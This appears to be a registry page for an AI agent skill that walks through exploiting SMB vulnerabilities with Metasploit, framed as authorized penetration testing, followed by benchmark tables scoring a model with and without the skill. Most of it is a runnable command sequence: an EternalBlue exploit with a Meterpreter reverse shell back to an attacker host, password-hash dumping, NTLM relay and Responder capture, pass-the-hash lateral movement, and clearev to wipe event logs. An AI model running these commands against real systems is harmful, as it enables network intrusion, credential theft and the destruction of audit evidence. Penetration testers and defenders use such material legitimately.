Install any skill in seconds. Free to start, no credit card required.
Get Started Free →Identifies and exploits SMB protocol vulnerabilities using Metasploit Framework during authorized penetration tests to demonstrate risks from unpatched Windows systems, misconfigured shares, and weak authentication in enterprise networks.
.claude/skills/exploiting-smb-vulnerabilities-with-metasploit/SKILL.md| Test case | Without → With | Effect | Δ tokens | Δ turns |
|---|---|---|---|---|
| case-14 | ✗→✓ | ▲ Improved | — | — |
| case-15 | ✗→✓ | ▲ Improved | — | — |
| case-03 | ✗→✓ | ▲ Improved | — | — |
| case-18 | ✗→✓ | ▲ Improved | — | — |
| case-21 | ✗→✓ | ▲ Improved | — | — |
Do not use against systems without explicit written authorization, against production domain controllers without a maintenance window, or to deploy persistent backdoors beyond the scope of the assessment.
msfconsole --version)bash# Discover hosts with SMB open using Nmap nmap -sS -p 445,139 --open -oA smb_hosts 10.10.0.0/24 # Enumerate SMB versions and OS information nmap -sV -p 445 --script smb-os-discovery,smb-protocols -oA smb_enum 10.10.0.0/24 # Use CrackMapExec for rapid SMB enumeration crackmapexec smb 10.10.0.0/24 --gen-relay-list smb_nosigning.txt # Check SMB signing status (disabled = vulnerable to relay) crackmapexec smb 10.10.0.0/24 --smb-signing # Enumerate shares with null session crackmapexec smb 10.10.0.0/24 -u '' -p '' --shares
bash# Start Metasploit and scan for MS17-010 (EternalBlue) msfconsole -q msf6> use auxiliary/scanner/smb/smb_ms17_010 msf6 auxiliary(smb_ms17_010)> set RHOSTS file:smb_hosts.txt msf6 auxiliary(smb_ms17_010)> set THREADS 10 msf6 auxiliary(smb_ms17_010)> run # Scan for MS08-067 (Conficker vulnerability) msf6> use auxiliary/scanner/smb/ms08_067_check msf6 auxiliary(ms08_067_check)> set RHOSTS file:smb_hosts.txt msf6 auxiliary(ms08_067_check)> run # Check for SMBGhost (CVE-2020-0796) nmap -p 445 --script smb-vuln-cve-2020-0796 10.10.0.0/24 # Check for PrintNightmare (CVE-2021-34527) crackmapexec smb 10.10.0.0/24 -u testuser -p 'TestPass123' -M printnightmare
bashmsf6> use exploit/windows/smb/ms17_010_eternalblue msf6 exploit(ms17_010_eternalblue)> set RHOSTS 10.10.5.23 msf6 exploit(ms17_010_eternalblue)> set LHOST 10.10.1.99 msf6 exploit(ms17_010_eternalblue)> set LPORT 4444 msf6 exploit(ms17_010_eternalblue)> set PAYLOAD windows/x64/meterpreter/reverse_tcp msf6 exploit(ms17_010_eternalblue)> set MaxExploitAttempts 3 msf6 exploit(ms17_010_eternalblue)> exploit # Post-exploitation -- verify access level meterpreter> getuid # Server username: NT AUTHORITY\SYSTEM meterpreter> sysinfo meterpreter> ipconfig meterpreter> hashdump
bash# Identify hosts without SMB signing (from Step 1) # Set up NTLM relay with Impacket sudo impacket-ntlmrelayx -tf smb_nosigning.txt -smb2support -i # Trigger authentication from a compromised host or via phishing # From Meterpreter session on a compromised host: meterpreter> shell C:\> net use \\10.10.1.99\share /user:DOMAIN\admin password # Or use Metasploit's SMB relay module msf6> use exploit/windows/smb/smb_relay msf6 exploit(smb_relay)> set SMBHOST 10.10.5.30 msf6 exploit(smb_relay)> set LHOST 10.10.1.99 msf6 exploit(smb_relay)> exploit # Use responder to capture NTLM hashes for offline cracking sudo responder -I eth0 -wrfv
bash# Extract hashes from compromised system meterpreter> hashdump # Administrator:500:aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42::: # Use pass-the-hash with CrackMapExec crackmapexec smb 10.10.0.0/24 -u Administrator \ -H e19ccf75ee54e06b06a5907af13cef42 --shares # Execute commands via pass-the-hash crackmapexec smb 10.10.5.30 -u Administrator \ -H e19ccf75ee54e06b06a5907af13cef42 -x "whoami && hostname" # Use Impacket psexec for interactive shell impacket-psexec Administrator@10.10.5.30 \ -hashes aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42 # Use Metasploit psexec module msf6> use exploit/windows/smb/psexec msf6 exploit(psexec)> set RHOSTS 10.10.5.30 msf6 exploit(psexec)> set SMBUser Administrator msf6 exploit(psexec)> set SMBPass aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42 msf6 exploit(psexec)> set PAYLOAD windows/x64/meterpreter/reverse_tcp msf6 exploit(psexec)> set LHOST 10.10.1.99 msf6 exploit(psexec)> exploit
bash# Document all compromised systems and access levels # In Meterpreter, screenshot desktops for evidence meterpreter> screenshot # List accessible shares and sensitive data meterpreter> shell C:\> net share C:\> dir \\10.10.5.30\C$\Users\ /s /b # Clean up -- remove any artifacts meterpreter> clearev meterpreter> shell C:\> del /f C:\Windows\Temp\payload.exe # Close all sessions msf6> sessions -K # Verify cleanup crackmapexec smb 10.10.5.23 -u Administrator -H <hash> -x "dir C:\Windows\Temp\payload*"
| Term | Definition | |------|------------| | EternalBlue (MS17-010) | Critical SMB vulnerability in SMBv1 allowing remote code execution as SYSTEM without authentication, originally developed by the NSA and leaked by Shadow Brokers | | SMB Signing | Cryptographic signing of SMB packets to prevent tampering and relay attacks; when disabled, attackers can relay NTLM authentication to other SMB hosts | | Pass-the-Hash | Authentication technique using captured NTLM password hashes directly instead of plaintext passwords, bypassing the need to crack the hash | | NTLM Relay | Attack where captured NTLM authentication is forwarded to a different server in real-time, granting the attacker access as the relayed user | | PsExec | Remote execution technique that uploads a service binary to the ADMIN$ share and creates a Windows service to execute commands as SYSTEM | | Null Session | Anonymous SMB connection (empty username and password) that may expose share listings, user enumeration, and policy information on misconfigured systems |
Context: During an internal penetration test for a financial services firm, the tester has network access to the corporate VLAN (10.10.0.0/16). The scope includes testing all Windows servers and workstations for SMB-related vulnerabilities. Active Directory domain is CORP.EXAMPLE.COM with approximately 200 hosts.
Approach:
Pitfalls:
## SMB Vulnerability Assessment Report
**Engagement**: Internal Penetration Test
**Target Range**: 10.10.0.0/16 (CORP.EXAMPLE.COM)
**SMB Hosts Discovered**: 187
### Critical Findings
**Finding 1: MS17-010 (EternalBlue) - 12 Unpatched Hosts**
- Severity: Critical (CVSS 9.8)
- Affected: 10.10.5.23, 10.10.5.24, 10.10.8.10 (+ 9 others)
- Impact: Remote code execution as SYSTEM without authentication
- Exploited: Yes - gained SYSTEM on 10.10.5.23
- Remediation: Apply MS17-010 patch, disable SMBv1
**Finding 2: SMB Signing Disabled - 155/187 Hosts**
- Severity: High (CVSS 7.5)
- Impact: NTLM relay attacks allow credential forwarding
- Exploited: Yes - relayed domain admin credentials
- Remediation: Enable SMB signing via Group Policy
**Finding 3: Local Admin Password Reuse - 47 Hosts**
- Severity: High (CVSS 7.2)
- Impact: Compromise of one host enables lateral movement to 47 systems
- Remediation: Deploy LAPS (Local Administrator Password Solution)| Case | Status | Duration (ms) | Turns | Tokens | Tool calls | ||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Without | With | Δ | Without | With | Δ | Without | With | Δ | Without | With | Δ | ||
case-14 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-19 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-08 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-15 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-03 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-18 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-17 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-23 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-21 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-11 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-10 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-13 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-16 | pass→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-07 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-05 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-09 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-02 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-20 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-22 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-01 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-04 | pass→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-06 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-12 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
DecimalAI ran this skill against gemini-3.6-flash twice over the same eval suite — once with the skill loaded and once without — and compared the two runs case by case. 23 cases were attempted. The headline lift of +35 percentage points is the difference between those two pass rates over the 23 comparable cases.
The per-case answers from this run were removed by the retention sweep, so the case table below shows the verdicts without the text either arm produced. The counts above were recorded at the time and are unaffected. Answers are now kept for 180 days.
Other measured skills in the registry, with their headline benchmark lift.